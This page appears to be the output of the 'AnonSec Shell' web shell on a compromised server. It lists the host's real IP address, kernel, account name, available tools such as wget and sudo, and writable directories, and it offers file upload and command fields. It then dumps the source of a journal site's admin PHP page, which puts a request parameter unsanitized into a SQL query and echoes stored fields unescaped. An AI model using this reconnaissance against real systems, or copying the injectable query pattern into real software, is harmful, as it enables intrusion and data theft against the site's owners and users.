AnonSec Shell
Server IP : 92.204.138.22  /  Your IP : 18.116.15.109
Web Server : Apache
System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : internationaljou ( 1019)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/internationaljou/www/application/admin1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/internationaljou/www/application/admin1//edit_ijeee.php
<?php include("header.php");

include("left-menu.php");?>

  <noscript>
            <div class="alert alert-block col-md-12">
                <h4 class="alert-heading">Warning!</h4>

                <p>You need to have <a href="http://en.wikipedia.org/wiki/JavaScript" target="_blank">JavaScript</a>
                    enabled to use this site.</p>
            </div>
        </noscript>

        <div id="content" class="col-lg-10 col-sm-10">
            <!-- content starts -->
            <div>
    <ul class="breadcrumb">
        <li>
            <a href="#">Home</a>
        </li>
        <li>
            <a href="#">Edit IJCSE</a>
        </li>
    </ul>
</div><!--
<div class=" row">
    <div class="col-md-3 col-sm-3 col-xs-6">
        <a data-toggle="tooltip" title="6 new members." class="well top-block" href="#">
            <i class="glyphicon glyphicon-home blue"></i>

            <div>Total Hotels</div>
            <div>507</div>
            <span class="notification">6</span>
        </a>
    </div>

    <div class="col-md-3 col-sm-3 col-xs-6">
        <a data-toggle="tooltip" title="4 new pro members." class="well top-block" href="#">
            <i class="glyphicon glyphicon-star green"></i>

            <div>New Hotel</div>
            <div>228</div>
            <span class="notification green">4</span>
        </a>
    </div>

    <div class="col-md-3 col-sm-3 col-xs-6">
        <a data-toggle="tooltip" title="$34 new sales." class="well top-block" href="#">
            <i class="glyphicon glyphicon-star yellow"></i>

            <div>Star Hotels</div>
            <div>228</div>
            <span class="notification yellow">6</span>
        </a>
    </div>

    <div class="col-md-3 col-sm-3 col-xs-6">
        <a data-toggle="tooltip" title="12 new messages." class="well top-block" href="#">
            <i class="glyphicon glyphicon-envelope red"></i>

            <div>Messages</div>
            <div>25</div>
            <span class="notification red">12</span>
        </a>
    </div>
</div>
-->
<div class="row">
    <div class="box col-md-12">
       

  <div class="box-inner homepage-box">
            <div class="box-header well">
                <h2><i class="glyphicon glyphicon-home"></i> IJCSE Information</h2>

                <div class="box-icon">
                    <a href="#" class="btn btn-setting btn-round btn-default"><i
                            class="glyphicon glyphicon-cog"></i></a>
                    <a href="#" class="btn btn-minimize btn-round btn-default"><i
                            class="glyphicon glyphicon-chevron-up"></i></a>
                    <a href="#" class="btn btn-close btn-round btn-default"><i
                            class="glyphicon glyphicon-remove"></i></a>
                </div>
            </div>
			 <?php
						$pid = $_REQUEST['pid'];
						include"config.php";
                        $sql = mysqli_query($conn,"select * from `ijcse` where sno='".$pid."'");
                        $row = mysqli_fetch_array($sql);
						$references = explode(",@",$row['reference']);
						$count1=count($references);?>
            <div class="box-content">
                <ul class="nav nav-tabs" id="myTab">
                    <li class="active"><a href="#info">Basic Information</a></li>
                    <li><a href="#custom">Abstract</a></li>
                   
					<li><a href="#offer">Keywords</a></li>
					 <li><a href="#messages">References</a></li>
					 <li><a href="#status">Citation</a></li>
                </ul>
				<form action="class.php" method="post" enctype="multipart/form-data" >
				
                <div id="myTabContent" class="tab-content">
				
                    <div class="tab-pane active" id="info">
                        
					<div class="col-md-6 col-xs-12">
					
		 
				<br>
				<div class="form-group">
						<label for="Hotel Name" class="control-label col-md-4  col-xs-4">Journal Name:</label>
						<div class="col-md- 8  col-xs-8">
							<input type="text" class="form-control" name="jname" id="jname" value="D S Journal of Engineering" placeholder="" >
						</div>
					</div>
				
				<br><br>
				<div class="form-group">
						<label for="Hotel Name" class="control-label col-md-4  col-xs-4">Paper ID:</label>
						<div class="col-md- 8  col-xs-8">
							<input type="text" class="form-control" name="paper_id" id="paper_id" value="<?php echo $row['paperid'] ?>" placeholder="" >
						</div>
					</div>
				<br><br>
				<div class="form-group">
						<label for="Address" class="control-label col-md-4  col-xs-4">Journal Title:</label>
						<div class="col-md- 8  col-xs-8">
							<textarea class="form-control" rows="3" name="title" id="title" placeholder="Journal Title" autocomplete="off" > <?php echo $row['journal_title'] ?></textarea>
					
					</div></div>
			
				<br><br>
				<br><br><br><br> 
					<div class="form-group">
						<label for="ContactNo" class="control-label col-md-4  col-xs-4">Authors</label>
						<div class="col-md- 8  col-xs-8">
							<input type="text" class="form-control" name="author" id="author" placeholder="Authors" value="<?php echo $row['author'] ?>" autocomplete="off" >
						</div>
					</div>
					
						
	</div>					
		 
<div class="col-md-6 col-xs-12" >
		<br> 
					
					<div class="form-group">
						<label for="Hotel Type" class="control-label col-md-4  col-xs-4">Volume:</label>
						<div class="col-md- 8  col-xs-8">
							<select class="form-control" id="volume" name="volume" >
							
							<option value="Volume 1" <?php if($row['volume']=='Volume 1'){echo 'Selected';} ?>>Volume 1</option>
							<option value="Volume 2" <?php if($row['volume']=='Volume 2'){echo 'Selected';} ?>>Volume 2</option>
							<option value="Volume 3" <?php if($row['volume']=='Volume 3'){echo 'Selected';} ?>>Volume 3</option>
							<option value="Volume 4" <?php if($row['volume']=='Volume 4'){echo 'Selected';} ?>>Volume 4</option>
							<option value="Volume 5" <?php if($row['volume']=='Volume 5'){echo 'Selected';} ?>>Volume 5</option>
							<option value="Volume 6" <?php if($row['volume']=='Volume 6'){echo 'Selected';} ?>>Volume 6</option>
							
							</select>
						</div>
						
					</div>
					<br><br>
					<div class="form-group">
						<label for="Hotel Type" class="control-label col-md-4  col-xs-4">Issue:</label>
						<div class="col-md- 8  col-xs-8">
							<select class="form-control" id="issue" name="issue"  >
							<option>select</option>
							<option value="Issue 1" <?php if($row['issue']=='Issue 1'){echo 'Selected';} ?>>Issue 1</option>
							<option value="Issue 2" <?php if($row['issue']=='Issue 2'){echo 'Selected';} ?>>Issue 2</option>
							<option value="Issue 3" <?php if($row['issue']=='Issue 3'){echo 'Selected';} ?>>Issue 3</option>
							<option value="Issue 4" <?php if($row['issue']=='Issue 4'){echo 'Selected';} ?>>Issue 4</option>
							<option value="Issue 5" <?php if($row['issue']=='Issue 5'){echo 'Selected';} ?>>Issue 5</option>
							<option value="Issue 6" <?php if($row['issue']=='Issue 6'){echo 'Selected';} ?>>Issue 6</option>
							<option value="Issue 7" <?php if($row['issue']=='Issue 7'){echo 'Selected';} ?>>Issue 7</option>
							<option value="Issue 8" <?php if($row['issue']=='Issue 8'){echo 'Selected';} ?>>Issue 8</option>
							<option value="Issue 9" <?php if($row['issue']=='Issue 9'){echo 'Selected';} ?>>Issue 9</option>
							<option value="Issue 10" <?php if($row['issue']=='Issue 10'){echo 'Selected';} ?>>Issue 10</option>
							<option value="Issue 11" <?php if($row['issue']=='Issue 11'){echo 'Selected';} ?>>Issue 11</option>
							<option value="Issue 12" <?php if($row['issue']=='Issue 12'){echo 'Selected';} ?>>Issue 12</option>
							</select>
						</div>
						
					</div>
					<br><br>
					<div class="form-group">
						<label for="Hotel Type" class="control-label col-md-4  col-xs-4">Month & year:</label>
						<div class="col-md-4  col-xs-4">
							<select class="form-control" id="month" name="month" >
							
							<option value="01" <?php if($row['month']=='01'){echo 'Selected';} ?>>01</option>
							<option value="02" <?php if($row['month']=='02'){echo 'Selected';} ?>>02</option>
							<option value="03" <?php if($row['month']=='03'){echo 'Selected';} ?>>03</option>
							<option value="04" <?php if($row['month']=='04'){echo 'Selected';} ?>>04</option>
							<option value="05" <?php if($row['month']=='05'){echo 'Selected';} ?>>05</option>
							<option value="06" <?php if($row['month']=='06'){echo 'Selected';} ?>>06</option>
							<option value="07" <?php if($row['month']=='07'){echo 'Selected';} ?>>07</option>
							<option value="08" <?php if($row['month']=='08'){echo 'Selected';} ?>>08</option>
							<option value="09" <?php if($row['month']=='09'){echo 'Selected';} ?>>09</option>
							<option value="10" <?php if($row['month']=='10'){echo 'Selected';} ?>>10</option>
							<option value="11" <?php if($row['month']=='11'){echo 'Selected';} ?>>11</option>
							<option value="12" <?php if($row['month']=='12'){echo 'Selected';} ?>>12</option>
							</select>
						</div><?php $sd=date('Y')-5;$ed=date('Y');
						?>
						<div class="col-md-4  col-xs-4">
							<select class="form-control" id="year" name="year"  >
							
							<?php for($i=$ed;$i>=$sd;$i--)
							{
							echo '<option value="'.$i.'">'.$i.'</option>';
							}?>
							</select>
						</div>
						
					</div>
					<br><br> 
					<div class="form-group">
						<label for="ContactNo" class="control-label col-md-4  col-xs-4">Pdf File</label>
						<div class="col-md-8  col-xs-8">
							<input type="file"  name="pdf" id="pdf"  >
							<br>
							<span style="color:green;"><?php echo $row['pdf'] ?></span>
							<input type="hidden" name="oldpdf" value="<?php echo $row['pdf'] ?>" >
							<input type="hidden" class="form-control" value="<?php echo $row['sno'] ?>"  name="sno" id="sno" placeholder="">
						</div>
					</div>
					
				</div>
				
				
                    </div>
                     <div class="tab-pane" id="custom"><br>
					 <div class="form-group" style="padding-left:30px;">
						<label for="Hotel Type" class="col-md-12 col-xs-12 " style="padding-bottom:10px;color:rgb(76, 158, 217);"><br><br>Abstract : </label>
						
						<div class="col-md-12  col-xs-12">
							<textarea style="width: 600px; height: 300px;" name="abstract"><?php echo $row['abstract'] ?></textarea>
						  
						</div>
					</div>	
					</div>	
					
                    <div class="tab-pane" id="messages">
                      <!-- 	<style>
						table{margin-top:10px;}
					.r1
					{ padding-top:10px;
						padding-left:20px; 
						text-center;
					}
					
					.he
					{
						padding-left:20px; 
						padding-top:20px;
						text-center;
					}
					
					</style>
					
		 
					<table class="addroom  table-bordered" style="width:100%">
					<tr>
					<th>No</th><th class="he">Reference</th>
					<th class="he"></th>
					
					</tr>
					
				<?php  $sno=0; for($i=0;$i<$count1;$i++)
									{
									$sno++;	?>
									<tr >
					<td class="r1" ><?php echo $sno;?></td>
					
					<td class="r1"  ><textarea class="form-control" rows="3" name="details[]" id="details" placeholder=" Reference details"><?php echo $references[$i]?> </textarea></td>
					<td></td></tr>
									<?php } ?>
					
					</table>
		<center> <button type="submit" class="btn btn-success add-author" >Add Reference</button></center>
		       --><label for="Hotel Type" class="col-md-12 col-xs-12 " style="padding-bottom:10px;color:rgb(76, 158, 217);"><br><br>Reference : </label>
					<div class="col-md-12  col-xs-12">
							<textarea  name="details" style="width: 800px; height: 400px;"><?php echo $row['reference'] ?></textarea>
						  
						</div>
		 
					 </div>
					 
					 
					 <div class="tab-pane" id="offer"> <div class="form-group" style="padding-left:30px;">
						<label for="Hotel Type" class="col-md-12 col-xs-12 " style="padding-bottom:10px;color:rgb(76, 158, 217);"><br><br>Keywords : </label>
						
						<div class="col-md-12  col-xs-12">
							<textarea rows="8" cols="100" style="width: 600px; height: 300px;" name="keywords"><?php echo $row['keywords'] ?></textarea>
						  
						</div>
					</div>	
					</div>  
					 
					<div class="tab-pane" id="status">
					<div class="form-group" style="padding-left:30px;">
						<div class="col-md-6  col-xs-6">
						<label for="Hotel Type" class="col-md-12 col-xs-12 " style="padding-bottom:10px;color:rgb(76, 158, 217);">MLA Style:</label>
						<div class="col-md-12  col-xs-12">
						<textarea style="width: 350px; height: 150px;" name="mla"><?php echo $row['mla'] ?></textarea>
						</div>  <br>
						</div>
					<div class="col-md-6  col-xs-6">
					
					<label for="Hotel Type" class="col-md-12 col-xs-12 " style="padding-bottom:10px;color:rgb(76, 158, 217);">APA Style:</label>
						<div class="col-md-12  col-xs-12">
						<textarea style="width: 350px; height: 150px;" name="apa"><?php echo $row['apa'] ?></textarea>
						</div>  
						</div>
					</div>
					<div class="col-md-6  col-xs-12">
                      <br><br>
                   

						
				<div class="form-group">
						<label for="Hotel Name" class="control-label col-md-3  col-xs-3">DOI:</label>
						<div class="col-md-8  col-xs-8">
							<input type="text" class="form-control" name="dio" id="dio" value="<?php echo $row['dio'] ?>" placeholder="" >
						</div>
					</div>
				
					<br><br>


              
						<div class="form-group"><br><br>
						<label for="Hotel Type" class="control-label col-md-3  col-xs-3">Status:</label>
						<div class="col-md-8  col-xs-8">
							<select class="form-control" id="status" name="status" >
							<option>select</option>
							<option value="Active" <?php if($row['status']=='Active'){echo 'Selected';} ?>>Active</option>
							<option value="De-active" <?php if($row['status']=='De-active'){echo 'Selected';} ?>>De-active</option>
							
							</select>
						</div>
					</div> <br><br><br>
						<center>
					<table>
					<tr>
					<td class="r1"><button type="submit" name="edit_ijcse" value="Save"  class="btn btn-success" >save</button> </td>
					<td class="r1"><a href="dsje.php"><button type="button" class="btn btn-success"  >cancel</button></a></td>
					
					</tr>
					</table>
					     </center> 
						
						<div class="row" style="padding-top:50px;"> <!-- start fourth row -->
					
                    </div>
					</div><div class="col-md-6  col-xs-12">
					
                    </div>
					</div>
					
					</form>
                </div>
            </div>
        </div></div>
	
		<script>
 jQuery(function(){
    var counter = 1;
	var rowCount = 1;
    jQuery('button.add-author').click(function(event){
        event.preventDefault();
rowCount ++;
        var newRow = jQuery('<tr class="rowCount'+rowCount+'"><td class="r1" >New</td><td class="r1"  ><textarea class="form-control" rows="3" name="details[]" id="details" ></textarea></td><td class="r1" ><button type="button" class="btn btn-danger" onclick="removeRow('+rowCount+');"> X </button></td></tr>');
            counter++;
        jQuery('table.addroom').append(newRow);

    });
	
});</script>
<script type="text/javascript">
var rowCount = 1;
function removeRow(removeNum) {
jQuery('.rowCount'+removeNum).remove();
}


var abc = 0;  
  // Declaring and defining global increment variable.
$(document).ready(function() {
//  To add new input file field dynamically, on click of "Add More Files" button below function will be executed.
$('#add_more').click(function() {
if(abc <10){abc += 1;  
$(this).before($("<div/>", {
id: 'filediv'
}).fadeIn('slow').append($("<input/>", {
name: 'hotel[]',
type: 'file',
id: 'file'
}), $("")));}
});
// Following function will executes on change event of file input to select different file.
$('body').on('change', '#file', function() {
if (this.files && this.files[0]) {
//abc += 1; // Incrementing global variable by 1.
var z = abc - 1;
var x = $(this).parent().find('#previewimg' + z).remove();
$(this).before("<div id='abcd" + abc + "' class='col-md-2 col-sm-3 abcd'><img id='previewimg" + abc + "' src=''/></div>");
var reader = new FileReader();
reader.onload = imageIsLoaded;
reader.readAsDataURL(this.files[0]);
$(this).hide();
$("#abcd" + abc).append($("<img/>", {
id: 'img',
src: 'multiple_image/x.png',
alt: 'delete'
}).click(function() {
$(this).parent().parent().remove();
}));
}
});
// To Preview Image
function imageIsLoaded(e) {
$('#previewimg' + abc).attr('src', e.target.result);
};
$('#upload').click(function(e) {
var name = $(":file").val();
if (!name) {
alert("First Image Must Be Selected");
e.preventDefault();
}
});
});


</script>
<?php include("footer.php"); ?>

Anon7 - 2022
AnonSec Team